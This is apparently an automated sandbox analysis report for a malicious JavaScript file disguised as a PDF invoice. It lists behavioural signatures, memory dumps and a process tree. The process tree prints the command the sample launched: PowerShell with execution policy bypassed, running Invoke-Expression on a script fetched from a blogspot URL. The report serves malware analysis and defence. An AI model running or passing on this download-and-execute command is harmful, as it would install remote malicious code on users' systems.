Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
30/04/2026, 07:50
General
- Target invoice-1645080830.pdf (37).js
- Size 21.6MB
- Sample260430-jprbsaby8v
- SHA256 863cb47c6bf5e3f9c3ed42de89472952e79ec61327c8dc3037cf6b92a28fc7b5
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (37).js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_ttyuficm.2md.ps1
memory/4244-1-0x000001BC448E0000-0x000001BC448EC000-memory.dmp
memory/4244-0-0x000001BC42EF0000-0x000001BC42F8B000-memory.dmp
memory/4572-15-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-17-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-11-0x0000025467330000-0x0000025467352000-memory.dmp
memory/4572-12-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-13-0x000002544D4B0000-0x000002544D4BC000-memory.dmp
memory/4572-2-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-14-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-3-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-21-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-23-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-27-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-30-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-33-0x00000254673C0000-0x00000254673D0000-memory.dmp
memory/4572-39-0x00000254674D0000-0x000002546753B000-memory.dmp
memory/4572-38-0x000002544D4B0000-0x000002544D4BC000-memory.dmp